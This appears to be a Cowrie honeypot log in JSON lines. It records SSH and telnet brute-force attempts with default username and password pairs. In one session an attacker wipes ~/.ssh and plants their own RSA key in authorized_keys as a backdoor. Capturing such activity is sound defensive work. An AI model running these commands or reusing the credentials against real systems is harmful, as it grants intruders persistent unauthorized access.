{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:17.267302Z","src_ip":"165.154.205.91","session":"49313dc0e833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2024","message":"login attempt [root/test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:18.217612Z","src_ip":"165.154.205.91","session":"49313dc0e833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:19.451449Z","src_ip":"165.154.205.91","session":"49313dc0e833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.60","src_port":23858,"dst_ip":"10.17.0.5","dst_port":22,"session":"75767f9e7c7b","protocol":"ssh","message":"New connection: 185.242.3.60:23858 (10.17.0.5:22) [session: 75767f9e7c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:21.537363Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:21.543476Z","src_ip":"185.242.3.60","session":"75767f9e7c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.60","src_port":23864,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f3cb7b9da9e","protocol":"ssh","message":"New connection: 185.242.3.60:23864 (10.17.0.5:22) [session: 7f3cb7b9da9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:21.661077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:21.666208Z","src_ip":"185.242.3.60","session":"7f3cb7b9da9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:21.775349Z","src_ip":"185.242.3.60","session":"7f3cb7b9da9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:21.994351Z","src_ip":"185.242.3.60","session":"7f3cb7b9da9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.874847650527954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:22.199705Z","src_ip":"166.62.124.255","session":"f625902063f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:23.105026Z","src_ip":"185.242.3.60","session":"7f3cb7b9da9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":53266,"dst_ip":"159.203.135.109","dst_port":22,"session":"444c18186de8","protocol":"ssh","message":"New connection: 165.154.205.91:53266 (159.203.135.109:22) [session: 444c18186de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:18.341846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:18.346968Z","src_ip":"165.154.205.91","session":"444c18186de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:18.580717Z","src_ip":"165.154.205.91","session":"444c18186de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567890","message":"login attempt [admin/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:19.540375Z","src_ip":"165.154.205.91","session":"444c18186de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:20.776107Z","src_ip":"165.154.205.91","session":"444c18186de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":59054,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b988a40cff","protocol":"ssh","message":"New connection: 187.212.47.18:59054 (10.17.0.5:22) [session: 10b988a40cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:42.885158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:42.889727Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.116180Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"root123","message":"login attempt [oracle/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.447053Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.642849Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.646385Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.650340Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.729459Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.914263Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.918004Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:43.999782Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:44.004017Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":60734,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1db8ac5097b","protocol":"ssh","message":"New connection: 187.212.47.18:60734 (10.17.0.5:22) [session: f1db8ac5097b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:44.557277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:44.561539Z","src_ip":"187.212.47.18","session":"f1db8ac5097b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:44.827440Z","src_ip":"187.212.47.18","session":"f1db8ac5097b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:45.166463Z","src_ip":"187.212.47.18","session":"f1db8ac5097b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:46.247242Z","src_ip":"187.212.47.18","session":"f1db8ac5097b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":34630,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3dbff7eaa93","protocol":"ssh","message":"New connection: 187.212.47.18:34630 (10.17.0.5:22) [session: c3dbff7eaa93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:46.658103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:46.662590Z","src_ip":"187.212.47.18","session":"c3dbff7eaa93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:46.843317Z","src_ip":"187.212.47.18","session":"c3dbff7eaa93","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:47.182799Z","src_ip":"187.212.47.18","session":"c3dbff7eaa93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:47.261585Z","src_ip":"187.212.47.18","session":"c3dbff7eaa93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:54:47.368442Z","src_ip":"187.212.47.18","session":"10b988a40cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58092,"dst_ip":"159.203.135.109","dst_port":23,"session":"1863b562b754","protocol":"telnet","message":"New connection: 135.148.33.91:58092 (159.203.135.109:23) [session: 1863b562b754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:55:09.066283Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":41706,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2a19e93802","protocol":"ssh","message":"New connection: 165.154.205.91:41706 (159.203.135.109:22) [session: cf2a19e93802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:55:18.253129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:55:18.258551Z","src_ip":"165.154.205.91","session":"cf2a19e93802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:55:18.485283Z","src_ip":"165.154.205.91","session":"cf2a19e93802","protocol":"ssh"}
